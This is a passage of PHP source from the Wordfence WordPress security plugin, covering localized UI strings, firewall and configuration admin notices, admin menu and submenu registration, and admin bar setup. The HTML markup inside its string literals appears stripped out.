__('No rules were updated. Please verify you have permissions to write to the /wp-content/wflogs directory.', 'wordfence'), 'No rules were updated. Please verify your website can reach the Wordfence servers.' => __('No rules were updated. Please verify your website can reach the Wordfence servers.', 'wordfence'), 'No rules were updated. Your website has reached the maximum number of rule update requests. Please try again later.' => __('No rules were updated. Your website has reached the maximum number of rule update requests. Please try again later.', 'wordfence'), 'Note: Status will update when changes are saved' => __('Note: Status will update when changes are saved', 'wordfence'), 'OK' => __('OK', 'wordfence'), 'Pages Not Found' => __('Pages Not Found', 'wordfence'), 'Paid Members Only' => __('Paid Members Only', 'wordfence'), 'Please enter a valid IP address or domain name for your whois lookup.' => __('Please enter a valid IP address or domain name for your whois lookup.', 'wordfence'), 'Please enter a valid email address.' => __('Please enter a valid email address.', 'wordfence'), 'Please include your support ticket number or forum username.' => __('Please include your support ticket number or forum username.', 'wordfence'), 'Please make a backup of this file before proceeding. If you need to restore this backup file, you can copy it to the following path from your site\'s root:' => __('Please make a backup of this file before proceeding. If you need to restore this backup file, you can copy it to the following path from your site\'s root:', 'wordfence'), 'Please specify a reason' => __('Please specify a reason', 'wordfence'), 'Please specify a valid IP address range in the form of "1.2.3.4 - 1.2.3.5" without quotes. Make sure the dash between the IP addresses in a normal dash (a minus sign on your keyboard) and not another character that looks like a dash.' => __('Please specify a valid IP address range in the form of "1.2.3.4 - 1.2.3.5" without quotes. Make sure the dash between the IP addresses in a normal dash (a minus sign on your keyboard) and not another character that looks like a dash.', 'wordfence'), 'Please specify either an IP address range, Hostname or a web browser pattern to match.' => __('Please specify either an IP address range, Hostname or a web browser pattern to match.', 'wordfence'), 'Recent Activity' => __('Recent Activity', 'wordfence'), 'Recovery Codes' => __('Recovery Codes', 'wordfence'), 'Redirected' => __('Redirected', 'wordfence'), 'Redirected by Country Blocking bypass URL' => __('Redirected by Country Blocking bypass URL', 'wordfence'), 'Referer' => __('Referer', 'wordfence'), 'Registered Users' => __('Registered Users', 'wordfence'), 'Restore Defaults' => __('Restore Defaults', 'wordfence'), 'Rule Update Failed' => __('Rule Update Failed', 'wordfence'), 'Rules Updated' => __('Rules Updated', 'wordfence'), 'Save Changes' => __('Save Changes', 'wordfence'), 'Scan Complete.' => __('Scan Complete.', 'wordfence'), 'Scan the code below with your authenticator app to add this account. Some authenticator apps also allow you to type in the text version instead.' => __('Scan the code below with your authenticator app to add this account. Some authenticator apps also allow you to type in the text version instead.', 'wordfence'), 'Security Event' => __('Security Event', 'wordfence'), 'Send' => __('Send', 'wordfence'), 'Sorry, but no data for that IP or domain was found.' => __('Sorry, but no data for that IP or domain was found.', 'wordfence'), 'Specify a valid IP range' => __('Specify a valid IP range', 'wordfence'), 'Specify a valid hostname' => __('Specify a valid hostname', 'wordfence'), 'Specify an IP range, Hostname or Browser pattern' => __('Specify an IP range, Hostname or Browser pattern', 'wordfence'), 'Success deleting file' => __('Success deleting file', 'wordfence'), 'Success removing option' => __('Success removing option', 'wordfence'), 'Success restoring file' => __('Success restoring file', 'wordfence'), 'Success updating option' => __('Success updating option', 'wordfence'), 'Successfully deleted admin' => __('Successfully deleted admin', 'wordfence'), 'Successfully revoked admin' => __('Successfully revoked admin', 'wordfence'), 'Test Email Sent' => __('Test Email Sent', 'wordfence'), 'The \'How does Wordfence get IPs\' option was successfully updated to the recommended value.' => __('The \'How does Wordfence get IPs\' option was successfully updated to the recommended value.', 'wordfence'), 'The Full Path disclosure issue has been fixed' => __('The Full Path disclosure issue has been fixed', 'wordfence'), 'The admin user %s was successfully deleted.' => /* translators: WordPress username. */ __('The admin user %s was successfully deleted.', 'wordfence'), 'The file %s was successfully deleted.' => /* translators: File path. */ __('The file %s was successfully deleted.', 'wordfence'), 'The file %s was successfully hidden from public view.' => /* translators: File path. */ __('The file %s was successfully hidden from public view.', 'wordfence'), 'The file %s was successfully restored.' => /* translators: File path. */ __('The file %s was successfully restored.', 'wordfence'), 'The option %s was successfully removed.' => /* translators: WordPress option. */ __('The option %s was successfully removed.', 'wordfence'), 'The request has been allowlisted. Please try it again.' => __('The request has been allowlisted. Please try it again.', 'wordfence'), 'There was an error while sending the email.' => __('There was an error while sending the email.', 'wordfence'), 'This will be shown only once. Keep these codes somewhere safe.' => __('This will be shown only once. Keep these codes somewhere safe.', 'wordfence'), 'Throttled' => __('Throttled', 'wordfence'), 'Two Factor Status' => __('Two Factor Status', 'wordfence'), 'Type' => __('Type', 'wordfence'), 'Type: %s' => /* translators: HTTP client type. */ __('Type: %s', 'wordfence'), 'URL' => __('URL', 'wordfence'), 'Unable to automatically hide file' => __('Unable to automatically hide file', 'wordfence'), 'Use one of these %s codes to log in if you are unable to access your phone. Codes are 16 characters long, plus optional spaces. Each one may be used only once.' => /* translators: 2FA backup codes. */ __('Use one of these %s codes to log in if you are unable to access your phone. Codes are 16 characters long, plus optional spaces. Each one may be used only once.', 'wordfence'), 'Use one of these %s codes to log in if you lose access to your authenticator device. Codes are 16 characters long, plus optional spaces. Each one may be used only once.' => /* translators: 2FA backup codes. */ __('Use one of these %s codes to log in if you lose access to your authenticator device. Codes are 16 characters long, plus optional spaces. Each one may be used only once.', 'wordfence'), 'User Agent' => __('User Agent', 'wordfence'), 'User ID' => __('User ID', 'wordfence'), 'Username' => __('Username', 'wordfence'), 'WHOIS LOOKUP' => __('WHOIS LOOKUP', 'wordfence'), 'We are about to change your .htaccess file. Please make a backup of this file before proceeding.' => __('We are about to change your .htaccess file. Please make a backup of this file before proceeding.', 'wordfence'), 'We can\'t modify your .htaccess file for you because: %s' => /* translators: Error message. */ __('We can\'t modify your .htaccess file for you because: %s', 'wordfence'), 'We encountered a problem' => __('We encountered a problem', 'wordfence'), 'Wordfence Firewall blocked a background request to WordPress for the URL %s. If this occurred as a result of an intentional action, you may consider allowlisting the request to allow it in the future.' => /* translators: URL. */ __('Wordfence Firewall blocked a background request to WordPress for the URL %s. If this occurred as a result of an intentional action, you may consider allowlisting the request to allow it in the future.', 'wordfence'), 'Wordfence is working...' => __('Wordfence is working...', 'wordfence'), 'You are using Nginx as your web server. You\'ll need to disable autoindexing in your nginx.conf. See the Nginx docs for more info on how to do this.' => __('You are using Nginx as your web server. You\'ll need to disable autoindexing in your nginx.conf. See the Nginx docs for more info on how to do this.', 'wordfence'), 'You are using an Nginx web server and using a FastCGI processor like PHP5-FPM. You will need to manually delete or hide those files.' => __('You are using an Nginx web server and using a FastCGI processor like PHP5-FPM. You will need to manually delete or hide those files.', 'wordfence'), 'You are using an Nginx web server and using a FastCGI processor like PHP5-FPM. You will need to manually modify your php.ini to disable display_error' => __('You are using an Nginx web server and using a FastCGI processor like PHP5-FPM. You will need to manually modify your php.ini to disable display_error', 'wordfence'), 'You forgot to include a reason you\'re blocking this IP range. We ask you to include this for your own record keeping.' => __('You forgot to include a reason you\'re blocking this IP range. We ask you to include this for your own record keeping.', 'wordfence'), 'You have unsaved changes to your options. If you leave this page, those changes will be lost.' => __('You have unsaved changes to your options. If you leave this page, those changes will be lost.', 'wordfence'), 'Your .htaccess has been updated successfully. Please verify your site is functioning normally.' => __('Your .htaccess has been updated successfully. Please verify your site is functioning normally.', 'wordfence'), 'Your Wordfence activity log was sent to %s' => /* translators: Email address. */ __('Your Wordfence activity log was sent to %s', 'wordfence'), 'Your rules have been updated successfully.' => __('Your rules have been updated successfully.', 'wordfence'), 'Your rules have been updated successfully. You are currently using the free version of Wordfence. Upgrade to Wordfence premium to have your rules updated automatically as new threats emerge. Click here to purchase a premium license. Note: Your rules will still update every 30 days as a free user.' => __('Your rules have been updated successfully. You are currently using the free version of Wordfence. Upgrade to Wordfence premium to have your rules updated automatically as new threats emerge. Click here to purchase a premium license. Note: Your rules will still update every 30 days as a free user.', 'wordfence'), 'Your test email was sent to the requested email address. The result we received from the WordPress wp_mail() function was: %s

A \'True\' result means WordPress thinks the mail was sent without errors. A \'False\' result means that WordPress encountered an error sending your mail. Note that it\'s possible to get a \'True\' response with an error elsewhere in your mail system that may cause emails to not be delivered.' => /* translators: wp_mail() return value. */ __('Your test email was sent to the requested email address. The result we received from the WordPress wp_mail() function was: %s

A \'True\' result means WordPress thinks the mail was sent without errors. A \'False\' result means that WordPress encountered an error sending your mail. Note that it\'s possible to get a \'True\' response with an error elsewhere in your mail system that may cause emails to not be delivered.', 'wordfence'), 'blocked by firewall' => __('blocked by firewall', 'wordfence'), 'blocked by firewall for %s' => /* translators: Reason for firewall action. */ __('blocked by firewall for %s', 'wordfence'), 'blocked by real-time IP blocklist' => __('blocked by real-time IP blocklist', 'wordfence'), 'blocked by the Wordfence Security Network' => __('blocked by the Wordfence Security Network', 'wordfence'), 'blocked for %s' => /* translators: Reason for firewall action. */ __('blocked for %s', 'wordfence'), 'locked out from logging in' => __('locked out from logging in', 'wordfence'), )); } public static function showTOUPPOverlay($classList) { return trim($classList . ' wf-toupp-required'); } public static function activation_warning(){ $activationError = get_option('wf_plugin_act_error', ''); if(strlen($activationError) > 400){ $activationError = substr($activationError, 0, 400) . '...[output truncated]'; } if($activationError){ echo '

' . __('Wordfence generated an error on activation. The output we received during activation was:', 'wordfence') . ' ' . wp_kses($activationError, array()) . '

'; } delete_option('wf_plugin_act_error'); } public static function noKeyError(){ echo '

' . sprintf('%s ', __("Wordfence's license key is missing.", 'wordfence')) . wp_kses(sprintf(__("This could be caused by a database problem. You may need to repair your \"wfconfig\" database table or fix your database user's privileges if they have changed recently, or you may need to reinstall Wordfence. Please contact Wordfence support (" . esc_html__('opens in new tab', 'wordfence') . ") if you need help.", 'wordfence'), wfSupportController::esc_supportURL()), array('a' => array('href' => array(), 'target' => array(), 'rel' => array()), 'span' => array('class' => array()))) . '

'; } public static function wafConfigInaccessibleNotice() { if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF&wafconfigrebuild=1'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF&wafconfigrebuild=1'); } $wafMenuURL = add_query_arg(array( 'waf-nonce' => wp_create_nonce('wafconfigrebuild'), ), $wafMenuURL); echo '

' . __('The Wordfence Web Application Firewall cannot run.', 'wordfence') . ' ' . sprintf( /* translators: 1. WordPress admin panel URL. 2. Support URL. */ __('The configuration files are corrupt or inaccessible by the web server, which is preventing the WAF from functioning. Please verify the web server has permission to access the configuration files. You may also try to rebuild the configuration file by clicking here. It will automatically resume normal operation when it is fixed. (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), $wafMenuURL, wfSupportController::esc_supportURL(wfSupportController::ITEM_NOTICE_WAF_INACCESSIBLE_CONFIG) ) . '

'; } public static function wafStorageEngineFallbackNotice() { echo '

'.__('The WAF storage engine is currently set to mysqli, but Wordfence is unable to use the database. The WAF will fall back to using local file system storage instead.', 'wordfence').'

'; } public static function wafConfigNeedsUpdate_mod_php() { if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF&wafconfigfixmodphp=1'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF&wafconfigfixmodphp=1'); } $wafMenuURL = add_query_arg(array( 'waf-nonce' => wp_create_nonce('wafconfigfixmodphp'), ), $wafMenuURL); echo '

' . __('The Wordfence Web Application Firewall needs a configuration update.', 'wordfence') . ' ' . sprintf( /* translators: 1. WordPress admin panel URL. 2. Support URL. */ __('It is currently configured to use an older version of PHP and may become deactivated if PHP is updated. You may perform the configuration update automatically by clicking here. (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), $wafMenuURL, wfSupportController::esc_supportURL(wfSupportController::ITEM_NOTICE_WAF_MOD_PHP_FIX) ) . '

'; } public static function wafConfigNeedsFixed_mod_php() { if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF&wafconfigfixmodphp=1'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF&wafconfigfixmodphp=1'); } $wafMenuURL = add_query_arg(array( 'waf-nonce' => wp_create_nonce('wafconfigfixmodphp'), ), $wafMenuURL); echo '

' . __('The Wordfence Web Application Firewall needs a configuration update.', 'wordfence') . ' ' . sprintf( /* translators: 1. WordPress admin panel URL. 2. Support URL. */ __('It is not currently in extended protection mode but was configured to use an older version of PHP and may have become deactivated when PHP was updated. You may perform the configuration update automatically by clicking here or use the "Optimize the Wordfence Firewall" button on the Firewall Options page. (' . esc_html__('opens in new tab', 'wordfence') . ')', 'wordfence'), $wafMenuURL, wfSupportController::esc_supportURL(wfSupportController::ITEM_NOTICE_WAF_MOD_PHP_FIX) ) . '

'; } public static function wafReadOnlyNotice() { echo '

' . __('The Wordfence Web Application Firewall is in read-only mode.', 'wordfence') . ' ' . sprintf('PHP is currently running as a command line user and to avoid file permission issues, the WAF is running in read-only mode. It will automatically resume normal operation when run normally by a web server. (' . esc_html__('opens in new tab', 'wordfence') . ')', wfSupportController::esc_supportURL(wfSupportController::ITEM_NOTICE_WAF_READ_ONLY_WARNING)) . '

'; } public static function misconfiguredHowGetIPsNotice() { $url = network_admin_url('admin.php?page=Wordfence&subpage=global_options'); $existing = wfConfig::get('howGetIPs', ''); $recommendation = wfConfig::get('detectProxyRecommendation', ''); $existingMsg = ''; if ($existing == 'REMOTE_ADDR') { $existingMsg = __('This site is currently using PHP\'s built in REMOTE_ADDR.', 'wordfence'); } else if ($existing == 'HTTP_X_FORWARDED_FOR') { $existingMsg = __('This site is currently using the X-Forwarded-For HTTP header, which should only be used when the site is behind a front-end proxy that outputs this header.', 'wordfence'); } else if ($existing == 'HTTP_X_REAL_IP') { $existingMsg = __('This site is currently using the X-Real-IP HTTP header, which should only be used when the site is behind a front-end proxy that outputs this header.', 'wordfence'); } else if ($existing == 'HTTP_CF_CONNECTING_IP') { $existingMsg = __('This site is currently using the Cloudflare "CF-Connecting-IP" HTTP header, which should only be used when the site is behind Cloudflare.', 'wordfence'); } $recommendationMsg = ''; if ($recommendation == 'REMOTE_ADDR') { $recommendationMsg = __('For maximum security use PHP\'s built in REMOTE_ADDR.', 'wordfence'); } else if ($recommendation == 'HTTP_X_FORWARDED_FOR') { $recommendationMsg = __('This site appears to be behind a front-end proxy, so using the X-Forwarded-For HTTP header will resolve to the correct IPs.', 'wordfence'); } else if ($recommendation == 'HTTP_X_REAL_IP') { $recommendationMsg = __('This site appears to be behind a front-end proxy, so using the X-Real-IP HTTP header will resolve to the correct IPs.', 'wordfence'); } else if ($recommendation == 'HTTP_CF_CONNECTING_IP') { $recommendationMsg = __('This site appears to be behind Cloudflare, so using the Cloudflare "CF-Connecting-IP" HTTP header will resolve to the correct IPs.', 'wordfence'); } echo '

' . __('Your \'How does Wordfence get IPs\' setting is misconfigured.', 'wordfence') . ' ' . $existingMsg . ' ' . $recommendationMsg . ' ' . __('Click here to use the recommended setting', 'wordfence') . ' ' . __('or', 'wordfence') . ' ' . __('visit the options page', 'wordfence') . ' ' . __('to manually update it.', 'wordfence') . '

' . __('Dismiss', 'wordfence') . ' (' . esc_html__('opens in new tab', 'wordfence') . ')

'; } public static function autoUpdateNotice(){ echo '

' . __('Do you want Wordfence to stay up-to-date automatically?', 'wordfence') . '   '. __('Yes, enable auto-update.', 'wordfence') . '  |  ' . __('No thanks.', 'wordfence') . '

'; } private static function getNoticeHideKey($id) { return "wordfence_dismiss_$id"; } private static function hideNoticeForUser($id) { $user = get_current_user_id(); if ($user !== 0) update_user_meta($user, self::getNoticeHideKey($id), true); } private static function hasHiddenNotice($id) { $user = get_current_user_id(); if ($user !== 0) return get_user_meta($user, self::getNoticeHideKey($id), true); return false; } public static function showUnitedStatesBlockedNotice() { $id = "wordfenceUnitedStatesBlocked"; if (self::hasHiddenNotice($id)) return; ?>

' . esc_html($formattedCount) . ''; } public static function isWordfenceInstallPage() { return self::isPage('WordfenceInstall'); } public static function isWordfenceSupportPage() { return self::isPage('WordfenceSupport'); } public static function admin_menus(){ if(! wfUtils::isAdmin()){ return; } $warningAdded = self::isWordfenceInstallPage(); if(get_option('wf_plugin_act_error', false)){ if(wfUtils::isAdminPageMU()){ add_action('network_admin_notices', 'wordfence::activation_warning'); } else { add_action('admin_notices', 'wordfence::activation_warning'); } $warningAdded = true; } if(!wfConfig::get('apiKey') && !wfOnboardingController::shouldShowAnyAttempt()){ if(wfUtils::isAdminPageMU()){ add_action('network_admin_notices', 'wordfence::noKeyError'); } else { add_action('admin_notices', 'wordfence::noKeyError'); } $warningAdded = true; } $firewall = new wfFirewall(); if (!empty($_GET['page']) && preg_match('/^Wordfence/i', $_GET['page'])) { if (!$firewall->testConfig()) { $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wordfence::wafConfigInaccessibleNotice'); } else { add_action('admin_notices', 'wordfence::wafConfigInaccessibleNotice'); } } else if (!$warningAdded && method_exists('wfWAF', 'hasFallbackStorageEngine') && wfWAF::hasFallbackStorageEngine()) { $warningAdded = true; add_action(wfUtils::isAdminPageMU()?'network_admin_notices':'admin_notices', 'wordfence::wafStorageEngineFallbackNotice'); } } if (!$warningAdded && !WFWAF_SUBDIRECTORY_INSTALL && !wfWAFAutoPrependHelper::verifyHtaccessMod_php()) { if (WFWAF_AUTO_PREPEND) { //Active, running PHP 5 only mod_php block $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wordfence::wafConfigNeedsUpdate_mod_php'); } else { add_action('admin_notices', 'wordfence::wafConfigNeedsUpdate_mod_php'); } } else if (PHP_MAJOR_VERSION > 5) { //Inactive, probably deactivated by updating from PHP 5 -> 7 due to no PHP 7 mod_php block $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wordfence::wafConfigNeedsFixed_mod_php'); } else { add_action('admin_notices', 'wordfence::wafConfigNeedsFixed_mod_php'); } } } if (wfOnboardingController::shouldShowAttempt3() || wfConfig::get('touppPromptNeeded')) { //Both top banners $warningAdded = true; } //Check WAF rules status $firewall = new wfFirewall(); if ($firewall->firewallMode() != wfFirewall::FIREWALL_MODE_DISABLED) { try { $lastChecked = (int) wfWAF::getInstance()->getStorageEngine()->getConfig('lastRuleUpdateCheck', null, 'transient'); $lastUpdated = (int) wfWAF::getInstance()->getStorageEngine()->getConfig('rulesLastUpdated', null, 'transient'); $threshold = time() - (86400 * (wfConfig::get('isPaid') ? 2.5 : 9)); //Refresh rate + 2 days if ($lastChecked > 0 && $lastUpdated > 0 && $lastChecked < $threshold) { $nextUpdate = PHP_INT_MAX; $cron = (array) wfWAF::getInstance()->getStorageEngine()->getConfig('cron', null, 'livewaf'); if (is_array($cron)) { /** @var wfWAFCronEvent $event */ foreach ($cron as $index => $event) { if ($event instanceof wfWAFCronFetchRulesEvent) { $event->setWaf(wfWAF::getInstance()); if (!$event->isInPast()) { $nextUpdate = min($nextUpdate, $event->getFireTime()); } } } } $message = sprintf( /* translators: Localized date. */ __('The last rules update for the Wordfence Web Application Firewall was unsuccessful. The last successful update check was %s, so this site may be missing new rules added since then.', 'wordfence'), wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $lastChecked) ); if (!$firewall->isSubDirectoryInstallation()) { if ($nextUpdate < PHP_INT_MAX) { $message .= ' ' . sprintf( /* translators: 1. Localized date. 2. WordPress admin panel URL. */ __('You may wait for the next automatic attempt at %1$s or try to Manually Update by clicking the "Manually Refresh Rules" button below the Rules list.', 'wordfence'), wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $nextUpdate), esc_url(network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#wf-option-wafRules')) ); } else { $message .= ' ' . sprintf(/* translators: WordPress admin panel URL. */ __('You may wait for the next automatic attempt or try to Manually Update by clicking the "Manually Refresh Rules" button below the Rules list.', 'wordfence'), esc_url(network_admin_url('admin.php?page=WordfenceWAF&subpage=waf_options#waf-rules-next-update'))); } } else { if ($nextUpdate < PHP_INT_MAX) { $message .= ' ' . sprintf(/* translators: WordPress admin panel URL. */ __('You may wait for the next automatic attempt at %s or log into the parent site to manually update by clicking the "Manually Refresh Rules" button below the Rules list.', 'wordfence'), wfUtils::formatLocalTime(get_option('date_format') . ' ' . get_option('time_format'), $nextUpdate)); } else { $message .= ' ' . __('You may wait for the next automatic attempt or log into the parent site to manually update by clicking the "Manually Refresh Rules" button below the Rules list.', 'wordfence'); } } wfAdminNoticeQueue::addAdminNotice(wfAdminNotice::SEVERITY_CRITICAL, $message, 'waf-rules-failed'); } else { wfAdminNoticeQueue::removeAdminNotice(false, 'waf-rules-failed'); } } catch (wfWAFStorageFileException $e) { error_log($e->getMessage()); } } else { wfAdminNoticeQueue::removeAdminNotice(false, 'waf-rules-failed'); } if (wfAdminNoticeQueue::enqueueAdminNotices()) { $warningAdded = true; } if (!$warningAdded && self::isWordfencePage() && wfCentral::isCentralSiteUrlMismatched() && !wfUtils::truthyToBoolean(wfConfig::get('centralUrlMismatchChoice'))) { $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wfCentral::mismatchedCentralUrlNotice'); } else { add_action('admin_notices', 'wfCentral::mismatchedCentralUrlNotice'); } } $existing = wfConfig::get('howGetIPs', ''); $recommendation = wfConfig::get('detectProxyRecommendation', ''); $canDisplayMisconfiguredHowGetIPs = true; if (empty($existing) || empty($recommendation) || $recommendation == 'UNKNOWN' || $recommendation == 'DEFERRED' || $existing == $recommendation) { $canDisplayMisconfiguredHowGetIPs = false; } if (!$warningAdded && $canDisplayMisconfiguredHowGetIPs && !wfUtils::truthyToBoolean(wfConfig::get('misconfiguredHowGetIPsChoice' . WORDFENCE_VERSION)) && !(defined('WORDFENCE_DISABLE_MISCONFIGURED_HOWGETIPS') && WORDFENCE_DISABLE_MISCONFIGURED_HOWGETIPS)) { $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wordfence::misconfiguredHowGetIPsNotice'); } else { add_action('admin_notices', 'wordfence::misconfiguredHowGetIPsNotice'); } } if (!$warningAdded && method_exists(wfWAF::getInstance(), 'isReadOnly') && wfWAF::getInstance()->isReadOnly()) { $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wordfence::wafReadOnlyNotice'); } else { add_action('admin_notices', 'wordfence::wafReadOnlyNotice'); } } if(! $warningAdded){ if (!wfConfig::get('autoUpdate') && !wfConfig::get('autoUpdateChoice')) { $warningAdded = true; if (wfUtils::isAdminPageMU()) { add_action('network_admin_notices', 'wordfence::autoUpdateNotice'); } else { add_action('admin_notices', 'wordfence::autoUpdateNotice'); } } } if (!empty($_GET['page']) && $_GET['page'] === 'WordfenceWAF' && !empty($_GET['wafconfigrebuild']) && !WFWAF_SUBDIRECTORY_INSTALL) { check_admin_referer('wafconfigrebuild', 'waf-nonce'); wfWAF::getInstance()->uninstall(); if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF'); } wp_redirect($wafMenuURL); exit; } if (!empty($_GET['page']) && $_GET['page'] === 'WordfenceWAF' && !empty($_GET['wafconfigfixmodphp']) && !WFWAF_SUBDIRECTORY_INSTALL) { check_admin_referer('wafconfigfixmodphp', 'waf-nonce'); wfWAFAutoPrependHelper::fixHtaccessMod_php(); if (function_exists('network_admin_url') && is_multisite()) { $wafMenuURL = network_admin_url('admin.php?page=WordfenceWAF'); } else { $wafMenuURL = admin_url('admin.php?page=WordfenceWAF'); } wp_redirect($wafMenuURL); exit; } if (!$warningAdded) { foreach (wfBlock::countryBlocks() as $block) { if ($block->parameters['blockSite']) { foreach ($block->parameters['countries'] as $country) { if (strtoupper($country) === 'US') { add_action(wfUtils::isAdminPageMU() ? 'network_admin_notices' : 'admin_notices', 'wordfence::showUnitedStatesBlockedNotice'); break 2; } } } } } if (!$warningAdded && wfSupportController::shouldShowSatisfactionPrompt()) { if (is_multisite()) { add_action('network_admin_notices', 'wfSupportController::satisfactionPromptNotice'); } else { add_action('admin_notices', 'wfSupportController::satisfactionPromptNotice'); } } if (self::isWordfenceAdminPage()) { $dashboardExtra = ''; } else { $dashboardExtra = self::getDashboardNotificationCountIcon(); } add_menu_page('Wordfence', "Wordfence{$dashboardExtra}", 'activate_plugins', 'Wordfence', 'wordfence::menu_dashboard', 'none'); } //These are split to allow our module plugins to insert their menu item(s) at any point in the hierarchy public static function admin_menus_20() { $dashboardExtra = self::getDashboardNotificationCountIcon(); add_submenu_page("Wordfence", __("Wordfence Dashboard", 'wordfence'), __("Dashboard", 'wordfence') . $dashboardExtra, "activate_plugins", "Wordfence", 'wordfence::menu_dashboard'); } public static function admin_menus_30() { add_submenu_page("Wordfence", __("Firewall", 'wordfence'), __("Firewall", 'wordfence'), "activate_plugins", "WordfenceWAF", 'wordfence::menu_firewall'); if (wfConfig::get('displayTopLevelBlocking')) { add_submenu_page("Wordfence", __("Blocking", 'wordfence'), __("Blocking", 'wordfence'), "activate_plugins", "WordfenceBlocking", 'wordfence::menu_blocking'); } } public static function admin_menus_40() { add_submenu_page("Wordfence", __("Scan", 'wordfence'), __("Scan", 'wordfence'), "activate_plugins", "WordfenceScan", 'wordfence::menu_scan'); } public static function admin_menus_50() { add_submenu_page('Wordfence', __('Tools', 'wordfence'), __('Tools', 'wordfence'), 'activate_plugins', 'WordfenceTools', 'wordfence::menu_tools'); if (wfConfig::get('displayTopLevelLiveTraffic')) { add_submenu_page("Wordfence", __("Live Traffic", 'wordfence'), __("Live Traffic", 'wordfence'), "activate_plugins", "WordfenceLiveTraffic", 'wordfence::menu_tools'); } if (wfConfig::get('displayTopLevelAuditLog')) { add_submenu_page("Wordfence", __("Audit Log", 'wordfence'), __("Audit Log", 'wordfence'), "activate_plugins", "WordfenceAuditLog", 'wordfence::menu_tools'); } } public static function admin_menus_60() { if (wfConfig::get('displayTopLevelOptions')) { add_submenu_page("Wordfence", __("All Options", 'wordfence'), __("All Options", 'wordfence'), "activate_plugins", "WordfenceOptions", 'wordfence::menu_options'); } } public static function admin_menus_70() { add_submenu_page('Wordfence', __('Help', 'wordfence'), __('Help', 'wordfence'), 'activate_plugins', 'WordfenceSupport', 'wordfence::menu_support'); } public static function admin_menus_80() { if (wfCentral::isSupported() && self::isPage('WordfenceCentral')) { add_submenu_page('Wordfence', __('Wordfence Central', 'wordfence'), __('Wordfence Central', 'wordfence'), 'activate_plugins', 'WordfenceCentral', 'wordfence::menu_wordfence_central'); } } public static function admin_menus_85() { if (wfOnboardingController::shouldShowAnyAttempt() || self::isWordfenceInstallPage()) { add_submenu_page('Wordfence', __('Install Wordfence', 'wordfence'), __('Install', 'wordfence'), 'activate_plugins', 'WordfenceInstall', 'wordfence::menu_install'); } } public static function admin_menus_90() { switch (wfLicense::current()->getType()) { case wfLicense::TYPE_FREE: $message = __('Upgrade to Premium', 'wordfence'); $slug = 'WordfenceUpgradeToPremium'; break; case wfLicense::TYPE_PREMIUM: $message = __('Upgrade to Care', 'wordfence'); $slug = 'WordfenceUpgradeToCare'; break; case wfLicense::TYPE_CARE: $message = __('Upgrade to Response', 'wordfence'); $slug = 'WordfenceUpgradeToResponse'; break; default: $message = __('Protect More Sites', 'wordfence'); $slug = 'WordfenceProtectMoreSites'; break; } add_submenu_page("Wordfence", $message, "" . $message . "", "activate_plugins", $slug, 'wordfence::_menu_noop'); add_filter('clean_url', 'wordfence::_patchWordfenceSubmenuCallout', 10, 3); } private static function isPage($page) { return array_key_exists('page', $_GET) && $_GET['page'] === $page; } public static function _patchWordfenceSubmenuCallout($url, $original_url, $_context){ if (preg_match('/(?:WordfenceUpgradeTo(Premium|Care|Response))$/i', $url, $matches)) { remove_filter('clean_url', 'wordfence::_patchWordfenceSubmenuCallout', 10); return wfLicense::current()->getUpgradeUrl("menuUpgrade$matches[1]"); } else if (preg_match('/(?:WordfenceProtectMoreSites)$/i', $url)) { remove_filter('clean_url', 'wordfence::_patchWordfenceSubmenuCallout', 10); return 'https://www.wordfence.com/zz10/licenses?purchase'; } return $url; } public static function _menu_noop() { //Do nothing } public static function _retargetWordfenceSubmenuCallout() { echo << jQuery(document).ready(function($) { $('#wfMenuCallout').closest('a').attr('target', '_blank').attr('rel', 'noopener noreferrer'); }); JQUERY; } public static function admin_bar_menu() { global $wp_admin_bar; if (wfUtils::isAdmin() && wfConfig::get('showAdminBarMenu')) { $title = '
'; $count = count(wfNotification::notifications()); $sinceCount = count(wfNotification::notifications((int) get_user_meta(get_current_user_id(), 'wordfence-notifications', true))); if ($sinceCount > 0) { $counter = ' '; update_user_meta(get_current_user_id(), 'wordfence-notifications', time()); } else { $counter = ' '; } $badge = '
' . $count . '
'; $counter .= $badge; $wp_admin_bar->add_menu( array( 'id' => 'wordfence-menu', 'title' => $title . $counter, 'href' => network_admin_url('admin.php?page=Wordfence'), )); $wp_admin_bar->add_menu( array( 'parent' => 'wordfence-menu', 'id' => 'wordfence-notifications', 'title' => '
' . __('Notifications', 'wordfence') . '
' . $badge, 'href' => network_admin_url('admin.php?page=Wordfence'), )); $wp_admin_bar->add_menu( array( 'parent' => 'wordfence-menu', 'id' => 'wordfence-javascripterror', 'title' => '
' . __('JavaScript Errors', 'wordfence') . '
', 'href' => 'javascript:void(0)', )); $wp_admin_bar->add_menu( array( 'parent' => 'wordfence-menu', 'id' => 'wordfence-malwareurl', 'title' => '
' . __('Malware URLs', 'wordfence') . '
